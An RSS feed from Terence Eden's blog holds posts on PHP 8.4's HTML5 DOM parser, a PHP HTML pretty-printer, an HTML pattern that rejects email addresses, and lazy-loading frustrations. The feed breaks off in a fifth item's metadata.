<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/rss-style.xsl" type="text/xsl"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	     xmlns:dc="http://purl.org/dc/elements/1.1/"
	   xmlns:atom="http://www.w3.org/2005/Atom"
	     xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	  xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>
<channel>
	<title>HTML5 &#8211; Terence Eden’s Blog</title>
	<atom:link href="https://shkspr.mobi/blog/tag/html5/feed/" rel="self" type="application/rss+xml" />
	<link>https://shkspr.mobi/blog</link>
	<description>Regular nonsense about tech and its effects 🙃</description>
	<lastBuildDate>Wed, 28 Jan 2026 09:55:01 +0000</lastBuildDate>
	<language>en-GB</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://shkspr.mobi/blog/wp-content/uploads/2023/07/cropped-avatar-32x32.jpeg</url>
	<title>HTML5 &#8211; Terence Eden’s Blog</title>
	<link>https://shkspr.mobi/blog</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title><![CDATA[Stop using preg_* on HTML and start using \Dom\HTMLDocument instead]]></title>
		<link>https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/</link>
					<comments>https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Fri, 09 May 2025 11:34:56 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=60375</guid>

					<description><![CDATA[It is a truth universally acknowledged that a programmer in possession of some HTML will eventually try to parse it with a regular expression.  This makes many people very angry and is widely regarded as a bad move.  In the bad old days, it was somewhat understandable for a PHP coder to run a quick-and-dirty preg_replace() on a scrap of code. They probably could control the input and there wasn&#039;t …]]></description>
										<content:encoded><![CDATA[<p>It is a truth universally acknowledged that a programmer in possession of some HTML will eventually try to parse it with a regular expression.</p>

<p><a href="https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454">This makes many people very angry and is widely regarded as a bad move</a>.</p>

<p>In the bad old days, it was somewhat understandable for a PHP coder to run a quick-and-dirty <code>preg_replace()</code> on a scrap of code. They probably could control the input and there wasn't a great way to manipulate an HTML5 DOM.</p>

<p>Rejoice sinners! PHP 8.4 is here to save your wicked souls. There's a new <a href="https://wiki.php.net/rfc/domdocument_html5_parser">HTML5 Parser</a> which makes <em>everything</em> better and stops you having to write brittle regexen.</p>

<p>Here are a few tips - mostly notes to myself - but I hope you'll find useful.</p>

<h2 id="sanitise-html"><a href="https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/#sanitise-html">Sanitise HTML</a></h2>

<p>This is the most basic example. This loads HTML into a DOM, tries to fix all the mistakes it finds, and then spits out the result.</p>

<pre><code class="language-php">$html = '&lt;p id="yes" id="no"&gt;&lt;em&gt;Hi&lt;/div&gt;&lt;h2&gt;Test&lt;/h3&gt;&lt;img /&gt;';
$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED , "UTF-8" );
echo $dom-&gt;saveHTML();
</code></pre>

<p>It uses <code>LIBXML_HTML_NOIMPLIED</code> because we don't want a full HTML document with a doctype, head, body, etc.</p>

<p>If you want <a href="https://shkspr.mobi/blog/2025/04/introducing-pretty-print-html-for-php-8-4/">Pretty Printing, you can use my library</a>.</p>

<h2 id="get-the-plain-text"><a href="https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/#get-the-plain-text">Get the plain text</a></h2>

<p>OK, so you've got the DOM, how do you get the text of the body without any of the surrounding HTML</p>

<pre><code class="language-php">$html = '&lt;p&gt;&lt;em&gt;Hello&lt;/em&gt; World!&lt;/p&gt;';
$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR , "UTF-8" );
echo $dom-&gt;body-&gt;textContent;
</code></pre>

<p>Note, this doesn't replace images with their alt text.</p>

<h2 id="get-a-single-element"><a href="https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/#get-a-single-element">Get a single element</a></h2>

<p>You can use <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector">the same <code>querySelector()</code> function as you do in JavaScript</a>!</p>

<pre><code class="language-php">$element = $dom-&gt;querySelector( "h2" );
</code></pre>

<p>That returns a <em>pointer</em> to the element. Which means you can run:</p>

<pre><code class="language-php">$element-&gt;setAttribute( "id", "interesting" );
echo $dom-&gt;querySelector( "h2" )-&gt;attributes["id"]-&gt;value;
</code></pre>

<p>And you will see that the DOM has been manipulated!</p>

<h2 id="search-for-multiple-elements"><a href="https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/#search-for-multiple-elements">Search for multiple elements</a></h2>

<p>Suppose you have a bunch of headings and you want to get all of them. You can use <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelectorAll">the same <code>querySelectorAll()</code> function as you do in JavaScript</a>!</p>

<p>To get all headings, in the order they appear:</p>

<pre><code class="language-php">$headings = $dom-&gt;querySelectorAll( "h1, h2, h3, h4, h5, h6" );
foreach ( $headings as $heading ) {
   // Do something
}
</code></pre>

<h2 id="advanced-search"><a href="https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/#advanced-search">Advanced Search</a></h2>

<p>Suppose you have a bunch of links and you want to find only those which point to "example.com/test/". Again, you can use <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors">the same attribute selectors</a> as you would elsewhere</p>

<pre><code class="language-php">$dom-&gt;querySelectorAll( "a[href^=https\:\/\/example\.com\/test\/]" );
</code></pre>

<h2 id="replacing-content"><a href="https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/#replacing-content">Replacing content</a></h2>

<p>Sadly, it isn't quite as simple as setting the <code>innerHTML</code>.  Each search returns a node. That node may have <em>children</em>. Those children will also be node which, themselves, may have children, and so on.</p>

<p>Let's take a simple example:</p>

<pre><code class="language-php">$html = '&lt;h2&gt;Hello&lt;/h2&gt;';
$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );
$element = $dom-&gt;querySelector( "h2" );
$element-&gt;childNodes[0]-&gt;textContent = "Goodbye";
echo $dom-&gt;saveHTML();
</code></pre>

<p>That changes "Hello" to "Goodbye".</p>

<p>But what if the element has child nodes?</p>

<pre><code class="language-php">$html = '&lt;h2&gt;Hello &lt;em&gt;friend&lt;/em&gt;&lt;/h2&gt;';
$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );
$element = $dom-&gt;querySelector( "h2" );
$element-&gt;childNodes[0]-&gt;textContent = "Goodbye";
echo $dom-&gt;saveHTML();
</code></pre>

<p>That outputs <code>&lt;h2&gt;Goodbye&lt;em&gt;friend&lt;/em&gt;&lt;/h2&gt;</code> - so think carefully about the structure of the DOM and what you want to replace.</p>

<h2 id="adding-a-new-node"><a href="https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/#adding-a-new-node">Adding a new node</a></h2>

<p>This one is tricky!  Let's suppose you have this:</p>

<pre><code class="language-html">&lt;div id="page"&gt;
   &lt;main&gt;
      &lt;h2&gt;Hello&lt;/h2&gt;
</code></pre>

<p>You want to add an <code>&lt;h1&gt;</code> <em>before</em> the <code>&lt;h2&gt;</code>. Here's how to do this.</p>

<p>First, you need to construct the DOM:</p>

<pre><code class="language-php">$html = '&lt;div id="page"&gt;&lt;main&gt;&lt;h2&gt;Hello&lt;/h2&gt;';
$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );
</code></pre>

<p>Next, you need to construct <em>an entirely new</em> DOM for your new node.</p>

<pre><code class="language-php">$newHTML = "&lt;h1&gt;Title&lt;/h1&gt;";
$newDom = \Dom\HTMLDocument::createFromString( $newHTML, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );
</code></pre>

<p>Next, extract the new element from the new DOM, and import it into the original DOM:</p>

<pre><code class="language-php">$element = $dom-&gt;importNode( $newDom-&gt;firstChild, true ); 
</code></pre>

<p>The element now needs to be inserted <em>somewhere</em> in the original DOM. In this case, get the <code>h2</code>, tell its parent node to insert the new node <em>before</em> the <code>h2</code>:</p>

<pre><code class="language-php">$h2 = $dom-&gt;querySelector( "h2" );
$h2-&gt;parentNode-&gt;insertBefore( $element, $h2 );
echo $dom-&gt;saveHTML();
</code></pre>

<p>Out pops:</p>

<pre><code class="language-html">&lt;div id="page"&gt;
   &lt;main&gt;
      &lt;h1&gt;Title&lt;/h1&gt;
      &lt;h2&gt;Hello&lt;/h2&gt;
   &lt;/main&gt;
&lt;/div&gt;
</code></pre>

<p>An alternative is to use <a href="https://www.php.net/manual/en/domnode.appendchild.php">the <code>appendChild()</code> method</a>. Note that it appends it to the <em>end</em> of the children. For example:</p>

<pre><code class="language-php">$div = $dom-&gt;querySelector( "#page" );
$div-&gt;appendChild( $element );
echo $dom-&gt;saveHTML();
</code></pre>

<p>Produces:</p>

<pre><code class="language-html">&lt;div id="page"&gt;
   &lt;main&gt;
      &lt;h2&gt;Hello&lt;/h2&gt;
   &lt;/main&gt;
   &lt;h1&gt;Title&lt;/h1&gt;
&lt;/div&gt;
</code></pre>

<h2 id="and-more"><a href="https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/#and-more">And more?</a></h2>

<p>I've only scratched the surface of what the new 8.4 HTML Parser can do. I've already rewritten lots of my yucky old <code>preg_</code> code to something which (hopefully) is less likely to break in catastrophic ways.</p>

<p>If you have any other tips, please leave a comment.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=60375&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[An opinionated HTML Serializer for PHP 8.4]]></title>
		<link>https://shkspr.mobi/blog/2025/04/an-opinionated-html-serializer-for-php-8-4/</link>
					<comments>https://shkspr.mobi/blog/2025/04/an-opinionated-html-serializer-for-php-8-4/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Wed, 02 Apr 2025 11:34:36 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=59322</guid>

					<description><![CDATA[A few days ago, I wrote a shitty pretty-printer for PHP 8.4&#039;s new Dom\HTMLDocument class.  I&#039;ve since re-written it to be faster and more stylistically correct.  It turns this:  &#60;html lang=&#34;en-GB&#34;&#62;&#60;head&#62;&#60;title id=&#34;something&#34;&#62;Test&#60;/title&#62;&#60;/head&#62;&#60;body&#62;&#60;h1 class=&#34;top upper&#34;&#62;Testing&#60;/h1&#62;&#60;main&#62;&#60;p&#62;Some &#60;em&#62;HTML&#60;/em&#62; and an &#60;img src=&#34;example.png&#34; alt=&#34;Alternate Text&#34;&#62;&#60;/p&#62;Text not in an…]]></description>
										<content:encoded><![CDATA[<p>A few days ago, <a href="https://shkspr.mobi/blog/2025/03/pretty-print-html-using-php-8-4s-new-html-dom/">I wrote a shitty pretty-printer</a> for PHP 8.4's new <a href="https://www.php.net/manual/en/class.dom-htmldocument.php">Dom\HTMLDocument class</a>.</p>

<p>I've since re-written it to be faster and more stylistically correct.</p>

<p>It turns this:</p>

<pre><code class="language-html">&lt;html lang="en-GB"&gt;&lt;head&gt;&lt;title id="something"&gt;Test&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;h1 class="top upper"&gt;Testing&lt;/h1&gt;&lt;main&gt;&lt;p&gt;Some &lt;em&gt;HTML&lt;/em&gt; and an &lt;img src="example.png" alt="Alternate Text"&gt;&lt;/p&gt;Text not in an element&lt;ol&gt;&lt;li&gt;List&lt;/li&gt;&lt;li&gt;Another list&lt;/li&gt;&lt;/ol&gt;&lt;/main&gt;&lt;/body&gt;&lt;/html&gt;
</code></pre>

<p>Into this:</p>

<pre><code class="language-html">&lt;!doctype html&gt;
&lt;html lang=en-GB&gt;
    &lt;head&gt;
        &lt;title id=something&gt;Test&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;h1 class="top upper"&gt;Testing&lt;/h1&gt;
        &lt;main&gt;
            &lt;p&gt;
                Some 
                &lt;em&gt;HTML&lt;/em&gt;
                 and an 
                &lt;img src=example.png alt="Alternate Text"&gt;
            &lt;/p&gt;
            Text not in an element
            &lt;ol&gt;
                &lt;li&gt;List&lt;/li&gt;
                &lt;li&gt;Another list&lt;/li&gt;
            &lt;/ol&gt;
        &lt;/main&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>I say it is "opinionated" because it does the following:</p>

<ul>
<li>Attributes are unquoted unless necessary.</li>
<li>Every element is logically indented.</li>
<li>Text content of CSS and JS is unaltered. No pretty-printing, minification, or checking for correctness.</li>
<li>Text content of elements <em>may</em> have extra newlines and tabs. Browsers will tend to ignore multiple whitespaces unless the CSS tells them otherwise.

<ul>
<li>This fucks up <code>&lt;pre&gt;</code> blocks which contain markup.</li>
</ul></li>
</ul>

<p>It is primarily designed to make the <em>markup</em> easy to read. Because <a href="https://libraries.mit.edu/150books/2011/05/11/1985/">according to the experts</a>:</p>

<blockquote><p>A computer language is not just a way of getting a computer to perform operations but rather … it is a novel formal medium for expressing ideas about methodology. Thus, programs must be written for people to read, and only incidentally for machines to execute.</p></blockquote>

<p>I'm <em>fairly</em> sure this all works properly. But feel free to argue in the comments or <a href="https://gitlab.com/edent/pretty-print-html-using-php/">send me a pull request</a>.</p>

<p>Here's how it works.</p>

<h2 id="when-is-an-element-not-an-element-when-it-is-a-void"><a href="https://shkspr.mobi/blog/2025/04/an-opinionated-html-serializer-for-php-8-4/#when-is-an-element-not-an-element-when-it-is-a-void">When is an element not an element? When it is a void!</a></h2>

<p>Modern HTML has the concept of "<a href="https://developer.mozilla.org/en-US/docs/Glossary/Void_element">Void Elements</a>". Normally, something like <code>&lt;a&gt;</code> <em>must</em> eventually be followed by a closing <code>&lt;/a&gt;</code>.  But Void Elements don't need closing.</p>

<p>This keeps a list of elements which must not be explicitly closed.</p>

<pre><code class="language-php">$void_elements = [
    "area",
    "base",
    "br",
    "col",
    "embed",
    "hr",
    "img",
    "input",
    "link",
    "meta",
    "param",
    "source",
    "track",
    "wbr",
];
</code></pre>

<h2 id="tabs-%f0%9f%86%9a-space"><a href="https://shkspr.mobi/blog/2025/04/an-opinionated-html-serializer-for-php-8-4/#tabs-%f0%9f%86%9a-space">Tabs 🆚 Space</a></h2>

<p>Tabs, obviously. Users can set their tab width to their personal preference and it won't get confused with semantically significant whitespace.</p>

<pre><code class="language-php">$indent_character = "\t";
</code></pre>

<h2 id="setting-up-the-dom"><a href="https://shkspr.mobi/blog/2025/04/an-opinionated-html-serializer-for-php-8-4/#setting-up-the-dom">Setting up the DOM</a></h2>

<p>The new HTMLDocument should be broadly familiar to anyone who has used the previous one.</p>

<pre><code class="language-php">$html = '&lt;html lang="en-GB"&gt;&lt;head&gt;&lt;title id="something"&gt;Test&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;h1 class="top upper"&gt;Testing&lt;/h1&gt;&lt;main&gt;&lt;p&gt;Some &lt;em&gt;HTML&lt;/em&gt; and an &lt;img src="example.png" alt="Alternate Text"&gt;&lt;/p&gt;Text not in an element&lt;ol&gt;&lt;li&gt;List&lt;/li&gt;&lt;li&gt;Another list&lt;/li&gt;&lt;/ol&gt;&lt;/main&gt;&lt;/body&gt;&lt;/html&gt;&gt;'
$dom = Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR, "UTF-8" );
</code></pre>

<p>This automatically adds <code>&lt;head&gt;</code> and <code>&lt;body&gt;</code> elements. If you don't want that, use the <a href="https://www.php.net/manual/en/libxml.constants.php#constant.libxml-html-noimplied"><code>LIBXML_HTML_NOIMPLIED</code> flag</a>:</p>

<pre><code class="language-php">$dom = Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );
</code></pre>

<h2 id="to-quote-or-not-to-quote"><a href="https://shkspr.mobi/blog/2025/04/an-opinionated-html-serializer-for-php-8-4/#to-quote-or-not-to-quote">To Quote or Not To Quote?</a></h2>

<p>Traditionally, HTML attributes needed quotes:</p>

<pre><code class="language-html">&lt;img src="example.png" class="avatar no-border" id="user-123"&gt;
</code></pre>

<p>Modern HTML allows those attributes to be <em>un</em>quoted as long as they don't contain <a href="https://infra.spec.whatwg.org/#ascii-whitespace">ASCII Whitespace</a> or <a href="https://html.spec.whatwg.org/multipage/syntax.html#unquoted">certain other characters</a></p>

<p>For example, the above becomes:</p>

<pre><code class="language-html">&lt;img src=example.png class="avatar no-border" id=user-123&gt;
</code></pre>

<p>This function looks for the presence of those characters:</p>

<pre><code class="language-php">function value_unquoted( $haystack )
{
    //  Must not contain specific characters

    $needles = [ 
        //  https://infra.spec.whatwg.org/#ascii-whitespace
        "\t", "\n", "\f", "\n", " ", 
        //  https://html.spec.whatwg.org/multipage/syntax.html#unquoted 
        "\"", "'", "=", "&lt;", "&gt;", "`" ];
    foreach ( $needles as $needle )
    {
        if ( str_contains( $haystack, $needle ) )
        {
            return false;
        }
    }
    //  Must not be null
    if ( $haystack == null ) { return false; }
    return true;
}
</code></pre>

<h2 id="re-re-re-recursion"><a href="https://shkspr.mobi/blog/2025/04/an-opinionated-html-serializer-for-php-8-4/#re-re-re-recursion">Re-re-re-recursion</a></h2>

<p>I've tried to document this as best I can.</p>

<p>It traverses the DOM tree, printing out correctly indented opening elements and their attributes. If there's text content, that's printed. If an element needs closing, that's printed with the appropriate indentation.</p>

<pre><code class="language-php">function serializeHTML( $node, $treeIndex = 0, $output = "")
{
    global $indent_character, $preserve_internal_whitespace, $void_elements;

    //  Manually add the doctype to start.
    if ( $output == "" ) {
        $output .= "&lt;!doctype html&gt;\n";
    }

    if( property_exists( $node, "localName" ) ) {
        //  This is an Element.

        //  Get all the Attributes (id, class, src, &amp;c.).
        $attributes = "";
        if ( property_exists($node, "attributes")) {
            foreach( $node-&gt;attributes as $attribute ) {
                $value = $attribute-&gt;nodeValue;
                //  Only add " if the value contains specific characters.
                $quote = value_unquoted( $value ) ? "" : "\"";

                $attributes .= " {$attribute-&gt;nodeName}={$quote}{$value}{$quote}";
            }
        }

        //  Print the opening element and all attributes.
        $output .= "&lt;{$node-&gt;localName}{$attributes}&gt;";

    } else if( property_exists( $node, "nodeName" ) &amp;&amp;  $node-&gt;nodeName == "#comment" ) {
        //  Comment
        $output .= "&lt;!-- {$node-&gt;textContent} --&gt;";
    }

    //  Increase indent.
    $treeIndex++;
    $tabStart = "\n" . str_repeat( $indent_character, $treeIndex ); 
    $tabEnd   = "\n" . str_repeat( $indent_character, $treeIndex - 1);

    //  Does this node have children?
    if( property_exists( $node, "childElementCount" ) &amp;&amp; $node-&gt;childElementCount &gt; 0 ) {

        //  Loop through the children.
        $i=0;
        while( $childNode = $node-&gt;childNodes-&gt;item( $i++ ) ) {

            //  Is this a text node?
            if ($childNode-&gt;nodeType == 3 ) {
                //  Only print output if there's no HTML inside the content.
                //  Ignore Void Elements.
                if ( 
                      !str_contains( $childNode-&gt;textContent, "&lt;" ) &amp;&amp; 
                    property_exists( $childNode, "localName" ) &amp;&amp; 
                          !in_array( $childNode-&gt;localName, $void_elements ) ) 
                {
                    $output .= $tabStart . $childNode-&gt;textContent;
                }
            } else {
                $output .= $tabStart;
            }

            //  Recursively indent all children.
            $output = serializeHTML( $childNode, $treeIndex, $output );
        };

        //  Suffix with a "\n" and a suitable number of "\t"s.
        $output .= "{$tabEnd}"; 

    } else if ( property_exists( $node, "childElementCount" ) &amp;&amp; property_exists( $node, "innerHTML" ) ) {
        //  If there are no children and the node contains content, print the contents.
        $output .= $node-&gt;innerHTML;
    }

    //  Close the element, unless it is a void.
    if( property_exists( $node, "localName" ) &amp;&amp; !in_array( $node-&gt;localName, $void_elements ) ) {
        $output .= "&lt;/{$node-&gt;localName}&gt;";
    }

    //  Return a string of fully indented HTML.
    return $output;
}
</code></pre>

<h2 id="print-it-out"><a href="https://shkspr.mobi/blog/2025/04/an-opinionated-html-serializer-for-php-8-4/#print-it-out">Print it out</a></h2>

<p>The serialized string hardcodes the <code>&lt;!doctype html&gt;</code> - which is probably fine.  The full HTML is shown with:</p>

<pre><code class="language-php">echo serializeHTML( $dom-&gt;documentElement );
</code></pre>

<h2 id="next-steps"><a href="https://shkspr.mobi/blog/2025/04/an-opinionated-html-serializer-for-php-8-4/#next-steps">Next Steps</a></h2>

<p>Please <a href="https://gitlab.com/edent/pretty-print-html-using-php/">raise any issues on GitLab</a> or leave a comment.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=59322&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2025/04/an-opinionated-html-serializer-for-php-8-4/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[How to check something isn't an email address?]]></title>
		<link>https://shkspr.mobi/blog/2023/09/how-to-check-something-isnt-an-email-address/</link>
					<comments>https://shkspr.mobi/blog/2023/09/how-to-check-something-isnt-an-email-address/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Wed, 27 Sep 2023 11:34:39 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[notemail]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=47236</guid>

					<description><![CDATA[In web-development circles, it is a well-known fact that trying to validate an email using a regular expression is… complex.  The full set of modern email standards allows for such wonderful addresses as: chief.o&#039;brien+ds9@spásárthach.भारत  So determining whether or not your user has entered a valid email address becomes an ever-increasing challenge.  But what if you have the opposite issue? Suppo…]]></description>
										<content:encoded><![CDATA[<p>In web-development circles, it is a well-known fact that trying to <a href="https://stackoverflow.com/questions/201323/how-can-i-validate-an-email-address-using-a-regular-expression">validate an email using a regular expression</a> is… complex.</p>

<p>The full set of modern email standards allows for such wonderful addresses as:
<code>chief.o'brien+ds9@spásárthach.भारत</code></p>

<p>So determining whether or not your user has entered a valid email address becomes an ever-increasing challenge.</p>

<p>But what if you have the opposite issue? Suppose you have a form which takes something which <em>mustn't</em> be an email address?</p>

<p>For example - imagine you have a login form which requires a username. And yet your stupid users keep entering their email addresses instead!  How can you quickly, cheaply, and simply detect email addresses?</p>

<p>Well, no matter whatever else is in an email address, there will <em>always</em> be an <code>@</code> somewhere. The <code>@</code> is <a href="https://www.khanacademy.org/test-prep/lsat/lsat-lessons/logic-toolbox-new/a/logic-toolbox--article--if-x-then-y--sufficiency-and-necessity"><em>necessary</em> but not <em>sufficient</em></a> for an email address.</p>

<p>So you can use <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/pattern">HTML5's <code>pattern</code> attribute</a>.</p>

<p>Here it is in action:</p>

<pre><code class="language-html">&lt;input type="text" 
       pattern="^[^@]+$"&gt;
</code></pre>

<p>That says "don't accept anything with the <code>@</code> symbol in it".</p>

<p>We can take it a bit further and add some more attributes to help our users</p>

<pre><code class="language-html">&lt;input type="text" 
       pattern="^[^@]+$"
       required
       placeholder="Your username (which is NOT your email address)"
       title="Don't use your email address!!!!!"
       id="notemail"&gt;
</code></pre>

<h2 id="try-it-out"><a href="https://shkspr.mobi/blog/2023/09/how-to-check-something-isnt-an-email-address/#try-it-out">Try it out!</a></h2>

<p>As soon as you type an <code>@</code> the form will go into an invalid state and can't be submitted. You won't be able to click the login button.</p>

<form action="">
<input type="text" pattern="^[^@]+$" required="" placeholder="Your username (which isn't your email address)" title="Don't use your email address!!!!!" id="notemail"><input type="submit" value="Log In">
<style>#notemail:valid {background-color: #0f0;} #notemail:invalid { border: #f00 solid 5px;}</style>
</form>

<h2 id="should-you-use-this"><a href="https://shkspr.mobi/blog/2023/09/how-to-check-something-isnt-an-email-address/#should-you-use-this">Should You Use This?</a></h2>

<p>Well… perhaps in a pinch. The <em>real</em> solution is to be agnostic towards your users' choice of login. Some may prefer to use an email, some a username. Some may expect their username to <em>start</em> with an <code>@</code>. Be tolerant of their needs and desires.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=47236&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2023/09/how-to-check-something-isnt-an-email-address/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[I think I kind of hate lazy loading]]></title>
		<link>https://shkspr.mobi/blog/2023/09/i-think-i-kind-of-hate-lazy-loading/</link>
					<comments>https://shkspr.mobi/blog/2023/09/i-think-i-kind-of-hate-lazy-loading/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Tue, 12 Sep 2023 11:34:14 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[accessibility]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[web]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=46755</guid>

					<description><![CDATA[Yesterday I was on a train. I clicked on a link and my browser loaded a long article for me to read. Halfway through reading it, the train went into a tunnel and I lost signal.  That meant I couldn&#039;t see the images on the other half of the page for the rest of the journey.  I had a sea of broken images.    Even though the page had fully loaded, the images were set to &#34;lazy&#34; loading. When my…]]></description>
										<content:encoded><![CDATA[<p>Yesterday I was on a train. I clicked on a link and my browser loaded a long article for me to read. Halfway through reading it, the train went into a tunnel and I lost signal.</p>

<p>That meant I couldn't see the images on the other half of the page for the rest of the journey.  I had a sea of broken images.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2023/09/broken-image.png" alt="An icon representing a broken image." width="644" height="314" class="aligncenter size-full wp-image-46759">

<p>Even though the <em>page</em> had fully loaded, the images were set to "lazy" loading. When my browser sees <code>&lt;img src="example.jpg" loading="lazy" /&gt;</code> it defers downloading the picture until it is about to scroll into view.</p>

<p>There's a few reasons why this is a good thing. If I leave the page before scrolling down, the browser doesn't waste time, energy, or bandwidth downloading images which will never be seen. That's good for my battery life and cheaper for my bill. It also saves the server from flinging bits around the world which are promptly trashed<sup id="fnref:hyp"><a href="https://shkspr.mobi/blog/2023/09/i-think-i-kind-of-hate-lazy-loading/#fn:hyp" class="footnote-ref" title="I am, of course, a massive hypocrite and use Lazy Loading on this blog for those very same reasons." role="doc-noteref">0</a></sup>.</p>

<p>And yet...</p>

<p>It seems that every time I'm on a train - or somewhere else with spotty Internet access - I run in to a situation where I <em>previously had</em> plenty of bandwidth and battery, but my user-agent decided it knew best. So it didn't attempt to load images until <em>after</em> I lost signal.</p>

<p>There's no way to disable Lazy Loading on Android Chrome or Android Firefox.</p>

<p>So, I guess I'm stuck.  Lazy loading seems like one of those things which is great in certain circumstances, but has a pretty horrible failure mode<sup id="fnref:alt"><a href="https://shkspr.mobi/blog/2023/09/i-think-i-kind-of-hate-lazy-loading/#fn:alt" class="footnote-ref" title="Made worse by poor or non-existent alt text." role="doc-noteref">1</a></sup>.</p>

<p>Anyone else feel this way?</p>

<div id="footnotes" role="doc-endnotes">
<hr aria-label="Footnotes">
<ol start="0">

<li id="fn:hyp">
<p>I am, of course, a massive hypocrite and use Lazy Loading on this blog for those very same reasons.&nbsp;<a href="https://shkspr.mobi/blog/2023/09/i-think-i-kind-of-hate-lazy-loading/#fnref:hyp" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

<li id="fn:alt">
<p>Made worse by poor or non-existent alt text.&nbsp;<a href="https://shkspr.mobi/blog/2023/09/i-think-i-kind-of-hate-lazy-loading/#fnref:alt" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

</ol>
</div>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=46755&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2023/09/i-think-i-kind-of-hate-lazy-loading/feed/</wfw:commentRss>
			<slash:comments>14</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[This link is only available by keyboard navigation]]></title>
		<link>https://shkspr.mobi/blog/2023/07/this-link-is-only-available-by-keyboard-navigation/</link>
					<comments>https://shkspr.mobi/blog/2023/07/this-link-is-only-available-by-keyboard-navigation/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Tue, 18 Jul 2023 11:34:31 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[accessibility]]></category>
